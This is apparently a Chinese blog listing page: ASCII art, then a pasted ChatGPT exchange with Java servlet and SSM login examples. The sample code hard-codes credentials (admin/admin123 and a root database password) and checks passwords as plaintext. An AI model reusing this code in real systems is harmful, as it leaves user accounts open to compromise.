▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ 孙悟空 ,111, 0110 1110 ,111, 0111 1110 ,111, 0111 , 0110 000, 1 ,111 000000, 1 0111 100000000, 0 0110 00000000001 ,0 ,111 000000000000, 0 111, ,0000000000000, 00 0111 00000000000000 00 1110 10000000000000000, 00000000000000100 111, ,0000000000000000000,,0000000000000000 ,0111 00000000000000000000000000000000000 1110 00000000000000000000000000000000000000 ,111, 10000000000000000000000000000000000000 0111 ,000000000000000000000000000000000000 1110 ,000000000000000000000000000000000000 00 1111 ,000000000000000000000000000000000000000001111100000 ,100000000000000000000000000000000000000000001110000001 100000000000000000000000000000000000000000000000000001100000 000000000000000000000000000,,000000000010000000000000000011101 10000000000000000000,,,,0000000,1,1000000100000000000110000, 100000000000001,0,,00000, 1,,100000,10000000000011100000, 1000010000,,00000,,,1,,,1000,00000000000000111000, 01000 ,0010,, 000 ,,,,,,10000,0,001,000000101110 100000000000,,,,,, ,,0,,,,10 1,1,,,0010000 1110 010000,,1,, ,11 01 ,,1,10000000 1011 01000,1,,, ,,,,,,1 ,,,1,001,, 0110 00001, 1,,,,,,,,,,,,,,,,,,,,, 1110 1000000000 ,,,,,,,111,,,,,,,, 1110 000000,100011 , , ,,,,,,, ,, 0111 000001011111,,111,11,,,,,,,,,111111111, 11101, 0000,110100111111,11,,,,,,,,,11111101 ,,,011001 0001,11,,,,0111111111,,,,1,,,1111111 100,,,100110 ,0010,,,,,,,11111111,11,, ,,11101111,,,,,000,,,010111 00,,,,,,,,,0101111111,01,,,11111100,,,,,0011,,111110 0,,,,,,,,,,,001111111110,011,1,,,110,,,,,,000,011101 ,,,,,,,,,,,1,010111111111110,0,000 ,10,,,,,,,01 0110 1,,,,,,,1,1010111111101111110111 11011, 1110 ,,,,,,,,10100101111111011111111111011, 111, ,,,,,,10001,,01000011110101111110,,0, 0110 00000011,,,,1000000000000000000000, 1110 0001,,,,,,,1111110111100100011111, 111, 0,,,,,,1011011111110001100111111 0110 1,,001111111011100011100011110 1110 ,1101111111111111000101100011110 ,111, 11110111111111110001101100001111, 0111 ,000111111111111000010111100011110 1110 11011111111111100000011111000111110 ,111 ,11011111111111111101111001000011111, 0111 ,1001111111111111111111101010001111111 0110 0111110011111111110, 0110110111111011, ,111 0111110001111111110 011111111111101, 0111 ,01000111111110101, ,0111101001111 0110 01010011111111011, 0010111001,1 ,110 11100011010100, 10000, 100000, 111, 1000001011110 ,1100000000000, 0110 00 00 1110 0000000000 ,111, 100000000, ,1001, 奥特曼 .'. .0llo. .O..,d: dc .:x' .k:;. ..xc. .cx:'';. ',lol:' .lx:''''', .;''::o' ;o:''''''',. .;;'', co. cc .,'''''', .,'';. ;k. ,O. .,''''';. .,'''' ;x. 'k;, .''''''; .;,'', .cO. .x:''; '''''':. ':''' .:cxc o; ',',. .,''';. .:,;. . .l: cc. ...'. .''' .; .:l ld .. ; ..'',cx; dc... ....... ' ,'....cO ol:;. :......','' . ,,.....0: lol:.,;........': ..,'...;:O. ;ol.. .',....,,, . .... lc ,l; ..... . 'x ;k: . O, .cc::l. .. .. .';. lOdlcc. co. .dd:c .''.' .c,,dk: .d; 'xx':oc:,''kd:''.....,lOko. d' .d0koxx. ...oOOkkkxxlolxkd:;:;;;:cxko, '0kx..l. . .lo0kdxo;;dxkdc. ..,okOx; lOl ::''cckOO0kdoldxkxxo,. .:. ,dl;'cx 'K; .:xd:c0:dxxxddxxxl;. 'kOKx'' 'k .:::::,. .0c ,dxxxl, 'o0d,,::,,:. o, .Ox: co. ':dxd0k,... .oc: .k,.:o' .,:oxxxxc.lo::;::',, 'oO, ,xdlxxxxxx:. .O l0kk' lxxxxxxx' .0l .kOxxxd, ,OOOkkk; .dx0. .Okxxxoclo':l,..':O. ;oxxxOx dcxl' ;k. 'x:dooxxl.l: ;d . lc .0. .:: d. .co;.. .k. lc 'd .O. .. ...lx x' .,,. ,o. .dd:,;clol::,. ,k. . .O. ',.. ,l: ;k. .;:c:;;, 蝙蝠 _ _ _==/ i i \== /XX/ |\___/| \XX\ /XXXX\ |XXXXX| /XXXX\ |XXXXXX\_ _XXXXXXX_ _/XXXXXX| XXXXXXXXXXXxxxxxxxXXXXXXXXXXXxxxxxxxXXXXXXXXXXX |XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX| XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX |XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX| XXXXXX/^^^^"\XXXXXXXXXXXXXXXXXXXXX/^^^^^\XXXXXX |XXX| \XXX/^^\XXXXX/^^\XXX/ |XXX| \XX\ \X/ \XXX/ \X/ /XX/ "\ " \X/ " /" ! -Zach Bolinger- 忘记叫什么了 ::## ##:: ::::::## ##:::::: ::::::## ## : ## ##:::::: ::::::::## ##::##::## ##:::::::: ::::::::## ####::##::#### ##:::::::: :::::::::: ####::::::::::::::#### :::::::::: :::::::::: ##::::::::::::::::::::::## :::::::::: ::::::::::##@@::::::::::::::::::::::@@##:::::::::: ::::::::##@@##@@::::::::::::::::::@@##@@##:::::::: ::::::##@@######@@::::::::::::::@@######@@##:::::: ##::##@@#### ##@@::::::::::@@## ####@@##::## ::##@@########@@::::::::::@@########@@##:: ####@@## ####@@::######::@@#### ##@@#### ##::@@####@@::##########::@@####@@::## ##::::@@@@::::::######::::::@@@@::::## :::::::::::::::::::::::::::::::::: ::@@@@@@@@@@@@@@@@@@@@@@@@@@:: ##::@@@@@@::## ##::::##@@##::::## ######::##@@##::###### ##::::::####@@####::::::## ######::##@@@@@@##::###### ######::##@@@@@@##::###### ##::::::##########::::::## ###### ###### 电脑 _______________________________________ |,---"-----------------------------"---,| ||___ 16 bit.................... || ||====\ :HHHHHHHHHHHHHHHHHHHHHHHHHHH || ||=====):H c> pb# H || ||====/ :H H || ||""" :H H || ||PORTFO:H H || || :HHHHHHHHHHHHHHHHHHHHHHHHHHH || ||_____,_________________________,_____|| |)_____)-----.| /I\ATARI |.------(_____(| //"""""""|_____|=----------=|______|"""""""\ // _| _| _| _| _| _| _| _| _| _| _| _| _| _| \ // ___| _| _| _| _| _| _| _| _| _| _| _| | | \ |/ ___| _| _| _| _| _| _| _| _| _| _| _| ______| \ / __| _| _| _| _| _| _| _| _| _| _| _| _| _| ___| \ / _| _| _| _| ________________________| _| _| _| _| \ |------"--------------------------------------"-------| `-----------------------------------------------------' 女生I DIDN'T LISTEN TO MY MOTHER ABOUT CROSSING MY EYES SO THEY STUCK THIS WAY HOLY GOD I NEED TOOL \ .::::::`.::::::::::.. \ .''``````.::::::::::::::::: \ .:',ere$ze c ::::::::::::::::::: \ ,'` e$$$$$$$-K eeeu...`````::::::::: .zd>^leeu^R$%:FJ$$$$$$$$$$e.. ``:::::: .ed$$$$4$$$$$P-u@" ""?????R$$$$$$$hc. ``::: .e$$F"..: P??7loF .:::::::::::.."""?R$$$e. `:. zF".:::::::`"""'.:::::::::::::::::::::.`"?$$e.` .::::::::::::':::::::::::::::::::::::::::::.`"=. .:::::::::::::` `:::::::::::::::::::::::::::::::.. .:::::::::::::` ud$ec. ``:::::::::::::::::::::::::::::. .:::::::::::`` .zd$$$$$$$ec.. ```:::::::::::::::::::::::::: .:::::::::::` "??$$$$$$$$$$$P ``:::::::::::::::::::::: ::::::::::` .. $$*. ^$$$$$$$$$$ .e$**"" =e=.. ``::::::::::::::::. ::::::::: :::. . ^ $$P$$$$$$$$$$F .'$$$N4$$L'::. `::::::::::::::: `::::::` :::::: $ '$$4$$$$$$$$% - : $$$F$$$$u`::::::. `:::::::::::. :::::: :::::: .^m.-.e.$'$$$$$$$P. -)z$?Cd$$$$$u `:::::::. `::::::::: `::::::::::: J$buFh52d4$$$$$$$LcccccCz$$$$$$$$": `::::::::..::::::::: `::::::::: $$$$$$$$PJ$$$$$$$$$$$$$$$$$$$$$F.d$$. `::::::::::::::::` `:::::: ?$$$$$$$F$$$$$$$$$$$$$$$$$$$$P x$$$$$$L `:::::::::::::: ``:: dN ?$$$$$$N2$$?3$$$$$$$$$$$$$$P dP\$$$$$$$u `:::::::::::: `:'" $.`R$$P???$$P??????"$$$$$$$$ 9".d$$$$$$$$b.`:::::::::: :: R$$. ?$$r `..;; . $$$$$$$F"'$'$J?$$$$$$$f :::::::: `:.^""""""."?$`niiiodfu$$$$$F"z$$ ^""~""""`..:::: :::::: `::::::::::`?beCCbe$$$$""cd$$$$i .`::::::::::::. `:::` ``:::::::::`?$$$P"',cd$$$$$$$$r?k :::::::::::`.:::` ```::::::::: 4$$$$$$$$$$$$$"d$ ``::::::::::::` ``::: . $$$$$$$$$$$$fJ$F4$e.``:::::::` dR `$$$$$$$$$$"x$$ d$$$$eu,.``` .e$ $E b?$$$$$$$".d$$ d$$$$$$$$$$$e.. ..ee$$$$$ $$k`$$$$$$".d$$".$$$$$$$$$$$$$$$$$$hec. .ze$$$$$$$$$$$b"$$heeeeeud$R" e$$$$$$$$$$$$$$$$$$$$$$$$$e. z$$$$$$$$$$$$$$$$$$h`?c""""J$R z$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ .ee$$$$$$$$$$$$$$$$$$$$$$hc"xJ>=".zd$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ .d$$$$$$$$$$$$$$$$$$$$$$$$$$$$he$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$房子Art by Glory Moon )\ O_._._._A_._._._O /( \`--.___,'=================`.___,--'/ \`--._.__ __._,--'/ \ ,. l`~~~~~~~~~~~~~~~'l ,. / __ \||(_)!_!_!_.-._!_!_!(_)||/ __ \\`-.__ ||_|____!!_|;|_!!____|_|| __,-'// \\ `==---='-----------'='-----------`=---==' // | `--. ,--' | \ ,.`~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~',. / \|| ____,-------._,-------._,-------.____ ||/ ||\|___!`======="!`======="!`======="!___|/|| || |---||--------||-| | |-!!--------||---| || __O_____O_ll_lO_____O_____O|| |'|'| ||O_____O_____Ol_ll_O_____O__ o H o o H o o H o o H o o |-----------| o o H o o H o o H o o H o ___H_____H_____H_____H____O =========== O____H_____H_____H_____H___ /|=============|\ ()______()______()______() '==== +-+ ====' ()______()______()______() ||{_}{_}||{_}{_}||{_}{_}/| ===== |_| ===== |\{_}{_}||{_}{_}||{_}{_}|| || || || / |==== s( )s ====| \ || || || ======================() ================= ()====================== ----------------------/| ------------------- |\---------------------- / |---------------------| \ -'--'--' () '---------------------' () /| ------------------------- |\ --'--'--' --'--' / |---------------------------| \ '--' () |___________________________| () '--'- --'- /| _______________________________ |\ --' gpyy / |__________________________________| \
2023年03月15日
17 阅读
1 评论
2 点赞
2023-03-15
ssm框架写一个登录例子
我使用servlet写一个登录ChatGPT以下是使用servlet写一个简单的登录示例:创建一个名为LoginServlet的servlet类,继承HttpServlet类。在doGet()和doPost()方法中编写登录逻辑。在web.xml文件中配置servlet。示例代码如下:LoginServlet.javaimport java.io.IOException; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @WebServlet("/LoginServlet") public class LoginServlet extends HttpServlet { private static final long serialVersionUID = 1L; protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String username = request.getParameter("username"); String password = request.getParameter("password"); if (username.equals("admin") && password.equals("admin123")) { response.sendRedirect("success.jsp"); } else { response.sendRedirect("error.jsp"); } } }web.xml<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" id="WebApp_ID" version="3.0"> <display-name>LoginServlet</display-name> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> <servlet> <servlet-name>LoginServlet</servlet-name> <servlet-class>LoginServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>LoginServlet</servlet-name> <url-pattern>/LoginServlet</url-pattern> </servlet-mapping> </web-app>index.jsp<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Login</title> </head> <body> <form action="LoginServlet" method="post"> <label>Username:</label> <input type="text" name="username"><br> <label>Password:</label> <input type="password" name="password"><br> <input type="submit" value="Login"> </form> </body> </html>success.jsp<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Success</title> </head> <body> <h1>Login Successful</h1> </body> </html>error.jsp<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Error</title> </head> <body> <h1>Login Failed</h1> </body> </html>在浏览器中访问http://localhost:8080/LoginServlet/index.jsp,输入正确的用户名和密码,将会跳转到success.jsp页面,否则跳转到error.jsp页面。我ssm框架写一个登录例子ChatGPT以下是使用SSM框架写一个简单登录的例子:创建一个名为User的实体类,包含用户名和密码属性。创建一个名为UserMapper的mapper接口,定义查询用户的方法。创建一个名为UserMapper.xml的mapper文件,编写查询用户的SQL语句。创建一个名为UserService的service接口,定义检查用户登录的方法。创建一个名为UserServiceImpl的service实现类,实现UserService接口。创建一个名为UserController的controller类,处理用户登录请求。在web.xml文件中配置DispatcherServlet。创建一个名为login.jsp的登录页面。示例代码如下:User.javapublic class User { private String username; private String password; // getters and setters }UserMapper.javapublic interface UserMapper { User getUserByUsername(String username); }UserMapper.xml<mapper namespace="com.example.mapper.UserMapper"> <select id="getUserByUsername" resultType="com.example.model.User"> select * from user where username=#{username} </select> </mapper>UserService.javapublic interface UserService { boolean checkUser(String username, String password); }UserServiceImpl.java@Service public class UserServiceImpl implements UserService { @Autowired private UserMapper userMapper; @Override public boolean checkUser(String username, String password) { User user = userMapper.getUserByUsername(username); if (user != null && user.getPassword().equals(password)) { return true; } return false; } }UserController.java@Controller public class UserController { @Autowired private UserService userService; @RequestMapping("/login") public String login(HttpServletRequest request) { String username = request.getParameter("username"); String password = request.getParameter("password"); if (userService.checkUser(username, password)) { return "success"; } else { return "error"; } } }web.xml<web-app> <display-name>SSM Login Example</display-name> <!--配置DispatcherServlet--> <servlet> <servlet-name>dispatcherServlet</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <init-param> <param-name>contextConfigLocation</param-name> <param-value>/WEB-INF/dispatcherServlet-servlet.xml</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>dispatcherServlet</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> </web-app>dispatcherServlet-servlet.xml<beans xmlns="http://www.springframework.org/schema/beans" xmlns:context="http://www.springframework.org/schema/context" xmlns:mvc="http://www.springframework.org/schema/mvc" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.3.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-4.3.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc-4.3.xsd"> <context:component-scan base-package="com.example.controller" /> <context:component-scan base-package="com.example.service" /> <context:component-scan base-package="com.example.mapper" /> <mvc:annotation-driven /> <bean id="dataSource" class="org.apache.commons.dbcp.BasicDataSource"> <property name="driverClassName" value="com.mysql.jdbc.Driver" /> <property name="url" value="jdbc:mysql://localhost:3306/test?useSSL=false" /> <property name="username" value="root" /> <property name="password" value="password" /> </bean> <bean id="sqlSessionFactory" class="org.mybatis.spring.SqlSessionFactoryBean"> <property name="dataSource" ref="dataSource" /> <property name="configLocation" value="classpath:mybatis-config.xml" /> </bean> <bean class="org.mybatis.spring.mapper.MapperScannerConfigurer"> <property name="basePackage" value="com.example.mapper" /> </bean> <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver"> <property name="prefix" value="/WEB-INF/views/" /> <property name="suffix" value=".jsp" /> </bean> </beans>login.jsp<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Login</title> </head> <body> <form action="login" method="post"> <label>Username:</label> <input type="text" name="username"><br> <label>Password:</label> <input type="password" name="password"><br> <input type="submit" value="Login"> </form> </body> </html>success.jsp<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Success</title> </head> <body> <h1>Login Successful</h1> </body> </html>error.jsp<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Error</title> </head> <body> <h1>Login Failed</h1> </body> </html>在浏览器中访问http://localhost:8080/login.jsp,输入正确的用户名和密码,将会跳转到success.jsp页面,否则跳转到error.jsp页面。
2023年03月15日
14 阅读
0 评论
0 点赞
1
...
6
7
8
...
19